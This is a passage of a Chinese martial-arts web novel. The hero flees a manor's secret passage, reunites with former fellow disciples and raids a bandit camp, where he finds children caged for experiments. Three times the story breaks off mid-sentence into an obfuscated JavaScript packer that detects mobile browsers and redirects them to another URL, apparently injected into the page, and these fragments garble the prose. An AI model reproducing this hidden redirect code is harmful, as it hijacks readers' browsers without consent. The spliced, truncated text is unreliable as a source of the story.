不想姬花青躲开后,巴琅速度不减,竟似把目标从姬花青变成了雨馀凉等人。原来巴琅心中想的是,他若是能在石门落下之前赶去雨馀凉等人那一边,就算通道被巨石堵死,他也有信心收拾三个乳臭未干的小孩子,到时再押着他们返回瑚庄就是。而姬花青被困在另一边,那边有夏篁和寇传维,还有瑚庄其他人马,就算她武功再高,也难以逃出生天。 姬花青本以为巴琅这诛仇指只冲自己一个人来,此时眼见巴琅越过自己径向雨馀凉等人而去,当即做出反应伸臂扯住巴琅脚踝,巴琅身形一顿,同时骂了一声。此时覃七霄突然从不知道哪个角落冲出,将一样东西用力扔向雨馀凉等人所在的石门另一头,大声道:“去绵作城找鲁坛主!” 原来自从巴琅等人让姬花青去杀覃七霄和尹敕后,关押覃尹二人的牢房门就一直开着,姬花青转而攻击巴琅等人后,众人注意力先在姬花青身上,后在边潇等人身上,至于覃七霄已经走出了牢房,根本无人注意。 下一刻石门便完全落下,伴随着“轰”的一声巨响,尘土被激起一人之高。 巴琅将手在地上一撑,双腿连环向姬花青踢去,姬花青曲肘格挡,两人都飞速向后退去。这是石门完全将通道隔开的前一刻,雨馀凉看到的最后画面。 见姬花青被和巴琅、夏篁等人隔在一处,雨馀凉心神俱震,整个人扑在石门上,大叫:“花青前辈!” 边潇赶紧过去拉住雨馀凉,道:“雨兄,冷静些!” 雨馀凉的注意力全在姬花青身上,还是边潇走到石门边,将覃七霄扔过来的那东西拿起,交给雨馀凉道:“雨兄,这是什么东西,雨兄可识得?” 雨馀凉这才回过神来,怔了怔将那东西从边潇手上接过,只见那物是一块长方形的玉牌, 借着通道墙壁上火把的光亮,雨馀凉看清那玉牌上刻着一个草书的“玄”字。 忽然之间,雨馀凉感到有什么记忆被唤醒了,他似乎在什么地方见到过这“玄”字,就在数月前敛安城外的山间,被连江和万克礼追杀时,玄同教的人突然出现,那些人腰间铜牌上錾刻的玄字,跟这块玉牌上的好像是一样的。 不知这玉牌是不是被怎么处理过,方才覃七霄从那么远的地方扔到这边地上,竟没摔碎。 雨馀凉道:“这是……玄同教的物什。” 其实他这句话接近于废话,覃七霄是玄同教的南护法,覃七霄扔过来的东西,自然是玄同教之物。只是雨馀凉此刻心绪激荡,神思恍惚,便也将这句意义不大的话说了出来。 边潇道:“看这形状,是令牌。”边潇抬头看向雨馀凉,“他将令牌给我们,应该是要我们去找什么人,雨兄,适才那位南护法将令牌扔过来时说了一句话,当时其他声音交杂,我又离得远,没能听清,你听清了吗?” 雨馀凉当时只看着姬花青,根本没留神周遭,摇头道:“没有。” 碧桃道:“他说的,似乎是‘去绵作城找鲁坛主’。” 边潇道:“对对对,好像是这个,不过这个鲁坛主是谁?” 碧桃道:“我也不知,不过既然他让我们去绵作城找,就说明这个鲁坛主在绵作城里,事不宜迟,我们这就走吧。” 边潇道:“等等,我们找到鲁坛主,然后呢?” 碧桃看向边潇,边潇也看着碧桃,两人似乎在对方的眼睛读出了同样的情绪。 边潇道:“……南护法将令牌扔出来,是要我们拿着令牌去找玄同教其他人求援的吧?我们带着援兵回去,岂不等于是我们将敌人引到了瑚庄?可我们……我们本来就是瑚庄的人啊。” 雨馀凉道:“这件事不必由你们来办,令牌我拿着,由我去找鲁坛主,我要把花青前辈救出来!” 边潇道:“可我们若将玄同教的人引到庄中,师父怎么办?玄同教的人会不会处置师父?” 碧桃突然开口道:“边潇,你想想李师弟!” 听到李师弟三个字,边潇浑身一颤。 碧桃道:“边潇,我理解你的心情,可是……今天的事你也看到了,边潇,你有没有把盗解药的事告诉李师弟他们?” 边潇道:“我怎会告诉他们?我知道这件事是忤逆了师父,他们若向师父告发,我的计划泡汤,他们若帮我隐瞒,却又不是害了他们?” 碧桃道:“这就是了,庄主……庄主他没有证据,便捏死了李师弟,边潇,庄主已经不是以前的庄主了!自从巴先生来瑚庄后,自从庄主想要做武林盟主以后,庄主就变了,一切都变了!” 边潇怔愣在当地。 师父变了吗?他突然想起白天时雨馀凉对他说的话。 “或许他们本就不是我们看到的那样,只不过面对我们时一直戴着面具。” 寇传维做出今日的举动,寇传维作为他的大徒弟,难道从前真的就没看见过他显露出一点征兆吗? 碧桃将边潇从失神的边缘拉回现实:“边潇,走吧,我们去找玄同教的人,你心里还有庄主,我……我身为庄主的剑侍,心里又怎会好受了?可李师弟他不无辜吗?我们去找玄同教的人,回去将事情解决了,说不定至少还能保住瑚庄……” 边潇慢慢将头转向碧桃,神色忧伤地向碧桃点了点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228587|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雨馀凉转身便行。 三人一同沿着通道行进,一路无话。 走了约莫半炷香时分,三人终于来到通道尽头,清冷空气骤然钻入肺腑,雨馀凉仰头望天,只见黑色夜空中繁星闪烁,他再转头看向刚刚从里面出来的通道,觉得今晚的事久远得就像是上辈子发生的一般。 时间宝贵,多耽一会,瑚庄内姬花青、覃七霄、尹敕的情形便有可能不妙几分。雨馀凉、碧桃、边潇施展轻功下山,雨馀凉本来对自己的轻功并无多少信心,但这次他发现自己还没全力飞奔,就将碧桃和边潇甩在了后面,碧桃和边潇还要费些力气才能跟上他的脚步,雨馀凉不知是自己的轻功进步了还是他们的轻功不济,可瑚庄在水南享有盛誉,门下弟子轻功还会比不过谷州刀派这种无名小派门下弟子的轻功吗?难道真是他的轻功比以前进步得多了?雨馀凉突然想起姬花青答应教自己武功时,首先教自己的就是吐息纳气修炼内功之法,难道在这几个月之间,自己的内功竟在不知不觉中进步了这么多? 想起姬花青,雨馀凉心中愀然,他前几日和姬花青发生了些许不愉快,两人之间产生了隔阂,此刻却又担心起姬花青来。 密道出口所在的那面山坡不算陡,坡上也只是生满了杂草,并无多少树木,雨馀凉等人在草上疾驰,不过片刻之后,便来到了城中。 此时已值漏夜,人们熄灯安歇,街道上鸦雀无声。 三人飞奔在青石板铺就的大街上,雨馀凉忽然想起什么,道:“碧桃姑娘,边兄,瑚庄那边会不会派人来抓我们?” 碧桃道:“其实我也正担心这个,南护法将令牌扔给我们的用意,庄主他们多半也知道了,尤其是巴先生,什么都瞒不过他的眼睛,庄内不缺人手,或许庄主正调了人下山来寻我们呢。” 雨馀凉道:“碧桃姑娘,你可有对策?” 碧桃道:“我们只能小心行事了,好在这是在晚上,绵作城又大,方便藏匿。” 雨馀凉叹了口气道:“可绵作城这么大,我们要如何寻人?” 碧桃也叹了一声,道:“只能走一步看一步了。” 雨馀凉心想,姬花青一心要去临蓟,而近来他和姬花青赶路时,总是看到一拨又一拨同样赶去临蓟的江湖人,究其原因,是听说不久后临蓟将有大事发生。 雨馀凉和姬花青在饭店打尖,时不时听到这些江湖人议论,说这次前往临蓟的,不仅是他们水南的武林人士,水西那边也来了不少人,那些水西的名门大派,都派人到了临蓟。 既然要发生这样的大事,玄同教会缺席么?绵作离瑚庄这么近,覃七霄和尹敕解决完瑚庄的事后,会不会也是要去临蓟的?而那位鲁坛主,是在覃七霄和尹敕去往瑚庄期间留在绵作城中待命吗? 街道两旁的房屋不断后退,雨馀凉突然想通了些什么,猛然转了个弯,朝北边奔去。 此时碧桃与边潇心中也全无主意,见雨馀凉往北走,当即没有多想,也跟了上去。 雨馀凉心道:“覃护法和尹长老被关在瑚庄地牢中数日,在这期间自然是不可能与外界通信了,若绵作城中有玄同教的人待命,与覃护法和尹长老失去联络那么多天,早就该感到不对了才是,可却没一个人上瑚庄来救他们。或许覃护法、尹长老和那位鲁坛主,只是先前在绵作会合,这之后便兵分两路,鲁坛主人已不在绵作了也未可知,覃护法让我们去找鲁坛主,也是情急之下碰运气,赌鲁坛主眼下还留在绵作。从绵作城到临蓟,最近的一条路便是从北城门走,玄同教的人腰上似乎都会挂一块铜腰牌,我先去问问城门守卫对腰挂铜牌的人有无印象,若他已出城了,再在绵作城里找人也是枉然。” 雨馀凉正这么想着,眼角余光却似乎瞥见两抹黑影,雨馀凉瞳孔一缩,将头转向碧桃与边潇,与碧桃同时道:“快躲!” 三人快速闪入一旁的窄巷中。雨馀凉暗暗心惊,方才的黑影既然碧桃也看到了,说明不是自己的错觉,这个时候了,谁还在街上晃荡?除非…… 是瑚庄的追兵么,来得好快! 雨馀凉、碧桃、边潇一同挤在角落处,每个人都心跳如雷,雨馀凉小心翼翼地探出头向外张望,那两道黑影此刻已不见了踪迹,如此身法,只有习武之人能够做到,雨馀凉心中更加笃定了来人是瑚庄派来追击他们的。 三人谁都不敢轻举妄动,都想的是先在这躲藏一会,等追兵离开后再出来。 雨馀凉正自紧张不安,忽然感到后背碰上了什么东西,他大骇之下忙拔出长刀,几乎同一时间,对面也传来兵刃出鞘的声音,只听对面那人道:“什么人?” 雨馀凉心想你怎么说了我要说的话。 不过对方这么一问,雨馀凉便察觉对面好像不是追兵,因为这女声微微有些颤抖,她似乎也很紧张,而且这声音……怎么听起来这么熟悉? 借着月光,雨馀凉睁大眼睛极力想看清楚眼前这人的模样,开口问道:“你是谁?” 对面那人听到雨馀凉的声音后沉默一阵,道:“是……雨馀凉?”雨馀凉刚想回答,那人身后又响起另一道雨馀凉同样很熟悉的声音:“什么?雨馀凉?鲍师妹,真的假的?” 这语气,这音调,雨馀凉听了数年,面前这二人,竟是他在谷州刀派的同门,鲍楚楚和铎占文! 73. 朱明(五) 本以为是追兵,结果是老熟人,雨馀凉方才紧张到发麻的四肢逐渐恢复知觉,他正准备开口问鲍楚楚和铎占文怎么到这来了,衣领就被鲍楚楚一把揪住。 边潇和碧桃见鲍楚楚突然对雨馀凉动手,都各自摆开架势,要来帮雨馀凉。 雨馀凉忙道:“碧桃姑娘,边兄,切莫动手!” 碧桃和边潇对视一眼,他们脸上虽然显现出疑惑神色,可也听了雨馀凉的话,站在原地不动。 雨馀凉衣领被提着,被迫仰视鲍楚楚。 鲍楚楚怒视着雨馀凉,道:“你跟夏篁是什么关系,他到底有什么谋划企图,现在就跟我说清楚!” 鲍钟死后,鲍楚楚已经无法在谷州刀派待下去,门人在背后对她议论纷纷,她也再不想见到谷州刀派的其他人,尤其是辜俊愿以及那天和辜俊愿一道要伤害她父亲的人。 于是她带着奶奶离开了谷州,想凭一己之力找到夏篁的踪迹。 若没有夏篁,若不是夏篁将鲍钟变成蛊毒傀儡,他们一家人现在还像从前那般,过着平凡却温馨的生活。 夏篁是导致一切悲剧的源头。 她一定要找到夏篁,然后报仇。 只是鲍楚楚没想到的是,就在她和奶奶将要走出谷州府城门的时候,铎占文在背后叫住了她。 鲍楚楚见到铎占文,立马警觉道:“是谷州刀派叫你来追我回去的?” 铎占文只看着她,道:“不,我是来和你一起离开的。” 铎占文儿时父母双亡,一直是一个人居住,夏篁大闹谷州刀派大较一事,本来跟他无关,他仍可以继续在谷州刀派当大师兄,可不知出于什么原因,他跟着鲍楚楚一起离开谷州,踏上了寻找夏篁的旅程。路上,鲍楚楚的奶奶因儿子鲍钟的死伤心过度,又染上了风寒,铎占文更是帮鲍楚楚来来往往抓药奔波。 鲍楚楚道:“你怎么还跟着我?” 铎占文道:“……啊?” 鲍楚楚道:“……你跟着我,往后只有危险,趁早回谷州去吧。” 铎占文正色却又不失柔和地道:“之前经历的那些危险虽然也让我害怕,但或许是跟鲍师妹在一起,我还是挺过来了。鲍师妹,谷州已经没有我想要的东西了。” 饶是鲍楚楚一开始觉得铎占文说要跟自己同行是在开玩笑,这时心里的想法却也悄悄发生了变化。 老年人体弱,鲍楚楚的奶奶伤寒加重,最终竟因此辞世,铎占文协助鲍楚楚将奶奶安葬后,鲍楚楚继续寻找夏篁,铎占文仍然跟在鲍楚楚身边。 但天下之大,要在茫茫人海中找到一个夏篁谈何容易?简直如大海捞针,是一件不可能完成的事。别说找到夏篁了,鲍楚楚和铎占文甚至连一条夏篁行踪的线索都没能得到。 只是近来江湖中几乎人人都在议论临蓟即将发生的大事,各路武林人士齐聚临蓟,鲍楚楚认为这是个找人的好机会,于是和铎占文一路北上赶往临蓟。 两人不久前才赶路到达绵作城外,但时辰太晚,城门已经关了。不过这对鲍楚楚和铎占文来说不是什么问题,早前在谷州府时,他们就曾合力翻越过城墙。如今二人依法炮制,到得城内后,便找起落脚的旅店来,不想和雨馀凉不期而遇。 雨馀凉道:“鲍师姐,我已经找到夏篁了。” 鲍楚楚激动道:“在哪?” 雨馀凉见鲍楚楚终于愿意听自己说话,喘了口气,道:“鲍师姐,你先把我放开。” 鲍楚楚这才松了手。 于是雨馀凉将自己如何进到瑚庄,以及之后所发生的事的来龙去脉拣紧要处跟鲍楚楚和铎占文说了,顺便也向他们引见了边潇和碧桃。 雨馀凉道:“夏篁是瑚庄庄主寇传维的下属,如今水南水西武林形势动荡,寇传维想要当水南武林盟主,夏篁便在旁佐助他。”他跟鲍楚楚和铎占文说这些时,语速极快,只因他心里牵挂着姬花青,想要赶紧抽身去找鲁坛主。 不过比起夏篁,倒是另一个人的目的更让雨馀凉好奇。 这个人就是巴琅。 雨馀凉感觉——没有事实依据,只是感觉,巴琅的目的并不简单。他想要的也许没有寇传维和夏篁那么宏大,却远比另外两人复杂。 鲍楚楚又道:“夏篁要帮寇传维当水南武林盟主,又为什么要害我爹?” 雨馀凉道:“具体的原因我也不知道,或许我们这些普通人,都是那些大人物一盘大棋中的棋子吧。” 鲍楚楚的眼神变得复杂起来,她顿了顿,道:“算了,我对他们想做什么也没有兴趣,只要能为我爹报仇就行。”她又道:“这么说来,你们是出来找援兵回去救人了?” 雨馀凉道:“所以现在时间很紧急,鲍师姐,我得赶紧走了。” 鲍楚楚道:“要搬救兵的话,这里不就是吗?我正好要对付他们!你也不必去找别人了,现在就带我上瑚庄,我要好好会会夏篁!” 铎占文道:“鲍师妹,你是说,就我们两个人跟他们去瑚庄?” 鲍楚楚道:“我只说我要去,你去不去全在你。” 铎占文着了忙,道:“你去,我还能不去吗?我是说,就我们两个人,怕是打不过他们……” 鲍楚楚怒道:“你怕死就别去!” 铎占文道:“我不是怕死!我是希望你冷静些,不要去白白送死!” 碧桃道:“这位兄台说得是,庄主、夏先生、巴先生武功都不可小觑,找到得力帮手回去才是上上之策。这位姑娘,我理解你想要报仇的心情,可为了一时之气,报不成仇反倒把自己性命丢了,又有什么意义呢。” 听了碧桃这一席话,鲍楚楚多少也冷静了一些,她道:“……那我们快些去找那个鲁坛主。” 雨馀凉定了定神,抬头道:“鲍师姐,我也好奇夏篁究竟有什么目的,这件事,我一定会给你一个答复。” 鲍楚楚看他眼神坚定,跟当初还在谷州刀派时唯唯诺诺似无法承担任何事的样子判若两人,道:“既然你如此说,好。” 于是鲍楚楚和铎占文也加入了寻人的队伍。碧桃见雨馀凉不断往城北走,提醒道:“雨少侠,再往北走就要出城了。”先前覃七霄说的可是让他们在绵作城内找人。 雨馀凉道:“我正是要去北城门看看。” 碧桃和边潇不知道雨馀凉想要做什么,可要去哪找寻鲁坛主,他们心中没有一点主意,眼下也只好继续跟着雨馀凉。 不一会众人便来到了城门口,只见城门紧闭,门边站着一个值夜的守卫。 守卫看到几个少年人径往城门而来,隔得远远地就把手中长矛往前一挡,大声道:“现在不能出城了。” 雨馀凉走近道:“守卫大哥,我们不出城,我只是想请问一下您,这几日有没有见过腰间挂铜腰牌的人出城?” 守卫望着天想了想,雨馀凉本来都不抱希望,没想道守卫却说道:“腰上挂着铜牌的……有。” 其实雨馀凉本没期望能获得答案,万一鲁坛主是出城了,却没从北门出城呢;而每天进出城门的人极多,万一守卫对鲁坛主没印象呢;再者,假若鲁坛主出城时刚好不是这名守卫当值,雨馀凉也无法获知鲁坛主的行踪……只是问总比不问好。 而雨馀凉运气是真的不错,那名守卫道:“我有印象,是有这么个人,那人后面还跟着一群人,这些人腰上都挂着铜牌,还带着各样兵器。” 因着一开始没抱多大期望,所以雨馀凉闻言先是一喜,玄同教坛主身后是该跟着不少下属,听守卫这么说,那么十有八九是鲁坛主了,可随后高涨的情绪又低落下来,雨馀凉问:“敢问大哥,那人是多久之前出城的?” 那守卫道:“好几天前了,似乎是三四天前,下午走的。” 三四天前就出了城,这可如何是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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边潇明白了碧桃的意思,道:“姑娘有所不知,玄同教的两位大人,中了我们瑚庄的毒,此刻还被困在庄中,我们出来求援,也是为了救他们出来。” 碧桃道:“以那位姬姑娘的身手,庄主、巴先生、夏先生在短时间内应该不能拿她怎么样。我听说玄同教中高手如云,南护法和尹长老一位是五护法之一,一位是十二长老之一,身手自然是不差的了,庄主大约也是忌惮这点,所以才给他们服下无法运使内力的毒药,若我们将解药带回去给南护法和尹长老服下,他们和姬姑娘三人联手,应该能够逆转局面。”她顿了顿,又接着道:“庄主他们将解药从长寿斋里挪出来,大约就是想到有人会在玄同教的两位大人被关在地牢期间盗药,既然如此,将解药在庄内移来移去意义不大,反而会引人注意,刚好巴先生和夏先生平日在龙虎寨有专门炼药养蛊的地方,解药多半是转移到那里去了。就算我们没能在那里找到解药,说不定也能找到配解药的方子。” 鲍楚楚道:“我们还要再出城去那个什么龙虎寨,还要在寨里找药,等我们找到了药再去瑚庄,会不会已经为时已晚了?”雨馀凉看向碧桃,道:“是啊……”鲍楚楚所言,也正是雨馀凉的担忧。 碧桃道:“确实有些费时,但事已至此,也没有其他选择。” 众人沉默,却也不得不在心中对碧桃的说法表示同意。 碧桃转身道:“与其在这抱怨和犹豫不决,不如马上就行动,这就走吧。” 于是众人由碧桃和边潇带路,又翻墙出城去往龙虎寨。 跟姬花青同行了数月、见识了不少江湖人的雨馀凉心里清楚,他们这一行人都还只是在门派里学艺弟子的水平,要进到龙虎寨里去盗药,跟闯龙潭虎穴没什么两样。 雨馀凉摇摇头,想要把心中的杂念全部甩出。 别想那么多了,现在他唯一能做的,就是赶紧去到龙虎寨中寻药盗药,然后回到瑚庄将姬花青、覃七霄和尹敕救出来。 去往龙虎寨的路上,雨馀凉一边在树林中穿梭,一边躯干内脏器一阵阵发紧。 不知道姬花青能不能撑这么久? 74. 毒蛊(一) 碧桃道:“是我的错觉吗?怎么感觉寨里的人比平时少?” 边潇道:“不是错觉,我也觉得人少,比平时少多了。” 雨馀凉一行人来到龙虎寨外,隐在寨边的小土坡上观察着寨子里的情形,好想办法从哪里潜入进去。 雨馀凉道:“因为这是晚上,寨里的人都在睡觉?” 碧桃摇头道:“不是这个原因,龙虎寨不是一般的匪寨,守卫极其森严,一天十二个时辰都有人轮班值守,晚上和白天醒着的人一样多。可你们看,现在不仅站岗的人比平时少,寨子里也黑黢黢的,几乎没人走动。” 雨馀凉往下看去,只见寨子外围零星站着几个人把守,他不知道这之前龙虎寨是怎么个情况,所以也无从对比,只不过寨里确实没燃着几处火把,很多东西都看不清。 不过也多亏了这点,他们才能顺利潜入。按照碧桃的说法,若寨子的防守还和之前一样,他们要进去还是个大难题,就算顺利潜进了寨子,也要东躲西藏,以免被巡逻的寨匪发现,如此又要耗费大量时间。 姬花青还在瑚庄,雨馀凉半点时间都不愿浪费,只想拿了解药就往回赶。 因为寨里人少,所以雨馀凉等五大五个人在寨中蹲身慢慢移动也没人发现,五个人就这样从一间屋子逐渐挪到另一间屋子,这些屋子有的是寨里匪徒的住处,有的是储放杂物的地方,可没有一间看上去像巴琅和夏篁制药炼蛊的地方。 雨馀凉道:“边兄,你和碧桃姑娘既身为瑚庄之人,又曾来过这里,怎会不知道巴琅和夏篁炼药的所在?” 边潇道:“雨兄,你有所不知,我和碧桃都是跟着师父一起来的,但巴先生每次都只让师父一人去到他们炼药的地方,其他人只能在寨子里等。” 雨馀凉心道:“这个巴琅,倒也真是狡猾。” 不知不觉间,一行人越发进入到了龙虎寨的深处,碧桃悄声道:“虽然寨子里的人比平时少,可若到了这里被发现,那也十分不妙,这里离出口太远,要逃出去就难多了。” 其他四人深以为然,都越发小心地观察起周围的情况来。 雨馀凉忽然道:“有人来了!” 只见一名龙虎寨寨匪走近雨馀凉等人所藏身的灌木丛前,一边解裤带一边自言自语道:“他奶奶的,这个时候忽然召集什么人手,老子都站了一天岗,还要站岗,觉都不让人睡……”他说话语气如同梦呓,中途还打了个哈欠,想来确是困极了。 伴随着稀里哗啦的声音,一股尿骚味弥漫开来,躲在灌木丛中的几人都皱眉捏紧了鼻子。或许是因为气味太冲,边潇忍不住打了个喷嚏。 那寨匪一惊,忙扎好裤子,道:“谁?” 雨馀凉本来正自烦恼像没头苍蝇一样在龙虎寨中找解药不是办法,此刻见有被发现之虞,干脆一不做二不休,一把抓住寨匪,将其拖入灌木丛中。 其他四人都被惊了一跳,鲍楚楚失色道:“你做什么?” 雨馀凉没有回答鲍楚楚,只是一手将那寨匪制住,一手将刀抵在他咽喉处,沉声道:“别出声,否则割断你的喉咙。” 那寨匪本来及其困倦,此刻一下惊醒了,连忙将头点个不停。 雨馀凉道:“接下来按照我说的做,你若抵抗,后果自负,听明白了么?” 寨匪接着点头。 雨馀凉道:“很好。第一件事,带我们去巴琅和夏篁平时炼蛊制药的地方。” 寨匪听了雨馀凉这句话,显露出为难的神色。 雨馀凉见他迟疑,毫不犹豫地抬肘,刀刃上移,直接将那寨匪的脸划了一道三寸来长的口子。 这道口子极深,鲜红的血一下就涌了出来。 这一下来得太突然,寨匪吃痛,也忘了先前雨馀凉不许他出声的要求,忍不住大叫起来。 雨馀凉虎口大力钳住他的喉头,逼他将叫声咽了回去,道:“我说了,你若不照我说的做,后果自负。你以为我只是在恐吓你么?” 在场其他人,无论是边潇和碧桃,还是鲍楚楚和铎占文,皆一脸震惊地看着眼前的场景。边潇和碧桃只是觉得雨馀凉这一行为有些大胆,有些狠辣。而鲍楚楚和铎占文作为雨馀凉曾经在谷州刀派的同门,都惊异于雨馀凉究竟经历了什么,变得和从前判若两人。 雨馀凉重新将刀抵在那寨匪的颈边,同时将寨匪提起来,道:“现在,带我们去我刚才说的地方。” 寨匪不住点头,颤抖着腿迈开步子,雨馀凉一边将刀架在他脖子上一边跟着他走,碧桃、边潇、鲍楚楚、铎占文也跟了上去。 等雨馀凉等人最终达到目的地时,碧桃一边打量四周一边道:“怪不得我们之前都没找到,原来在这山洞里。”碧桃看向雨馀凉,道:“不过也多亏雨少侠你快刀斩乱麻,想出这个办法,不然我们还要费好多时间。”边潇看到碧桃看向雨馀凉的眼神,默默将头低了下去。 鲍楚楚看着周围的架子、柜子、桌子以及桌子上一大堆瓶瓶罐罐,道:“只是不知道哪一瓶是解药。”说着看向了那寨匪。 寨匪拖着哭腔道:“这个我就不知道了,我是真不知道了!”他转头看向扔将刀抵在他喉头的雨馀凉,一边摇头一边哭道:“我不知道,我不知道……” 雨馀凉略微眯起了眼,道:“他已经将我们带到了这,也没必要再在这个问题上撒谎了。”他看向四周,道:“这里东西也就这么多,我们一样样找就是。”说完伸指点中了寨匪身上的穴道,后者身子一软,慢慢委顿在地。 山洞洞口狭窄,进到山洞内部才发觉里面十分宽敞,洞内放了三只巨大的木架,两只柜子,以及一张大桌。雨馀凉等人一人负责一台架子或柜子,开始搜寻起解药来。 雨馀凉负责的架子上放了不少瓷瓶,那些瓶上都没有贴签,雨馀凉感到棘手,心想这要怎么知道哪瓶是解药?他心绪烦乱,拿下架子最上层第一个瓶子,拨开塞子往瓶里一看,只见里面黑乎乎的,却又似有什么东西在动。 雨馀凉一愕,忙拿到洞壁火把下细看,这一看让直接雨馀凉背脊麻麻起了一层粟栗。 只见瓶里是一条条纠集绞缠在一起的长虫,那些虫身躯健壮黝黑,头部颜色却十分鲜艳,每一只都约莫有七八对足,似蜈蚣却又不是蜈蚣。 雨馀凉调动了极大的意志力才没有当场将瓶子扔出去,而是把瓶塞塞好,将瓶子重新放回架上。他看着架上其余的瓶子,心想剩下的瓶子里不会都是这种虫…… 雨馀凉看向旁边,边潇、碧桃、鲍楚楚、铎占文都细细搜查着自己负责的区域,雨馀凉又想到姬花青,深深吸了口气,将手伸向第二个瓶子。 约莫一炷香的时间,雨馀凉终于将自己负责的这台架子全部搜查完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249986|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 整台架子的每只瓶子里全是虫子,无一例外。 每只瓶子里的虫虽然各不相同,但都有一个共同点,那便是让人看了后心里极不舒服,跟平时见到的虫一点不一样。 雨馀凉正要去看看其他人那边的情况如何,就见边潇和碧桃朝自己走来,二人都向自己摇摇头。 雨馀凉一颗心沉了下去。 待边潇和碧桃走近,雨馀凉道:“还是没有发现解药么?” 边潇道:“全是蛊虫,哪有解药。” 雨馀凉道:“你们那边也是虫?” 碧桃道:“我那架子上的瓶里全是蛊虫。” 雨馀凉低下头自言自语道:“原来这就是蛊虫……”他为了确定,又从自己刚才查看的架子上随便取下一个瓶子,将瓶塞打开给边潇和碧桃看,道:“这也是蛊虫吗?” 边潇和碧桃凑上前一看,都道:“是蛊虫没错。” 边潇和碧桃倒是淡定,大约跟他们从前就因巴琅的缘故接触过蛊虫有关。 碧桃道:“早知道巴先生爱培育新品种的蛊虫,却没想到有这么多不同种类的。” 碧桃说这话的同时,鲍楚楚和铎占文也走过来,鲍楚楚手中还拿着一沓纸。 鲍楚楚道:“柜子的每个抽屉、每个角落我都翻遍了,解药没看到,笔记手稿倒是一大堆。”说着将手中那沓纸扔在桌上。 雨馀凉等人向桌上看去,只见那些纸张上绘着各种虫子,一旁注有文字。看那些虫子的形状,跟雨馀凉在瓶中所见相差无几。 铎占文道:“我那只柜子里也全是笔记,没有类似解药的东西。” 雨馀凉绕着山洞转了一圈,除了他们刚刚搜过的架子、柜子,以及桌子之外,洞里再没别的东西了。 雨馀凉道:“会不会解药也不在这里?” 其他人尽皆沉默。 雨馀凉忽然心中一动,道:“解药不会就是蛊虫吧?” 碧桃道:“不是蛊虫,我曾见过那解药,是一粒粒黑色的药丸。” 雨馀凉道:“那……解药会不会就是这些蛊虫做的?” 边潇和碧桃听雨馀凉这么问,也愣住了,边潇道:“这……我还真不确定。” 雨馀凉将手指插入头发里,目光再次落到那寨匪身上。 雨馀凉正要向他走去,忽听见几声细微的人声,似在喊着:“救命,救命。” 雨馀凉猛然回头。 碧桃道:“雨少侠,怎么了?” 雨馀凉道:“你们有没有听见什么声音?”说着向声音传来的地方走去。 然而雨馀凉走到的地方只是一堵石壁,除此之外什么也没有。 但那声音还在不断传来,并且因为雨馀凉靠近石壁而稍微变大了,除此之外,还有什么东西敲打石壁的闷响。 雨馀凉知道了,石壁后有东西! 雨馀凉道:“你是谁?我要怎么见到你?” 石壁后的声音道:“在你右手边有一道机关,你找一下,按下去。” 雨馀凉和石壁后那人对话间,其他四人也都围了过来。雨馀凉在石壁右边摸索半天,果然摸到一块石头触感似与周围的石头不一样,雨馀凉使力一按,那块石头竟陷了下去,同时伴随一阵机关被触发的声音,眼前的石壁缓缓向上升起,石壁后竟有一间密室! 75. 毒蛊(二) 密室被打开后,那道声音复又传来,只不过比之前清晰了许多:“诸位朋友,你们行行好,救我出去。” 雨馀凉和其他人对视了一眼,率先走进了密室。甫一进去,便感到一股血腥气扑面而来。 待将墙壁上的火把点燃,看清周围的景象后,雨馀凉怔在了原地。 首先映入眼帘的便是一只铁笼,铁笼里关着一个满身满脸都是污渍的少年,那少年见到雨馀凉,两手扒着铁笼,恳切道:“这位朋友,请你救我出去吧!” 雨馀凉正想问这少年为什么会被关在这里,随后目光一闪,却发觉笼子关着的,不只这少年一人。十数个幼童挤在铁笼里,有些正瞪着一双眼睛望着他,还有一些耷拉着脑袋,双目无神。 雨馀凉的眼神不由自主地飘向了这间密室的其他地方,只见房间角落里有一张石桌,石桌上堆着残缺的躯干、肢体。 这些残肢和躯干似乎都是人的。 雨馀凉知道血腥气是从哪来的了,他突然感到胃里一阵翻涌。 随后进来的边潇、碧桃、鲍楚楚、铎占文也被眼前的景象所震惊。 雨馀凉转头看着边潇和碧桃:“这是怎么回事?这些事情,你们一开始也知道吗?” 边潇呆呆地站着,雨馀凉说了什么,似乎已经进不去他的耳朵了。碧桃忙道:“不,我们不知道!” 雨馀凉上前几步,拔出刀来,将内力凝聚于右手,轻喝一声,笼门处的铁索应声断裂。 那少年推开笼门走出来,对雨馀凉一迭声地道:“谢谢,谢谢!”笼子里其他小孩子也跟着那少年出来,那少年朝笼子的方向看了一眼,复又走进笼里,将一个神情恍惚的幼童抱出。 雨馀凉道:“你们怎么会被关在这里?” 那少年道:“说来话长,他们用人做实验。这本来就是匪寨,平时在道上劫掠过路的行人、客商是做惯了的,因为小孩子是对他们来说合适的实验材料,所以他们抢劫时,大人一律杀了,若是带有幼童,便带到这里关起来。” 铎占文道:“实验材料?什么实验?” 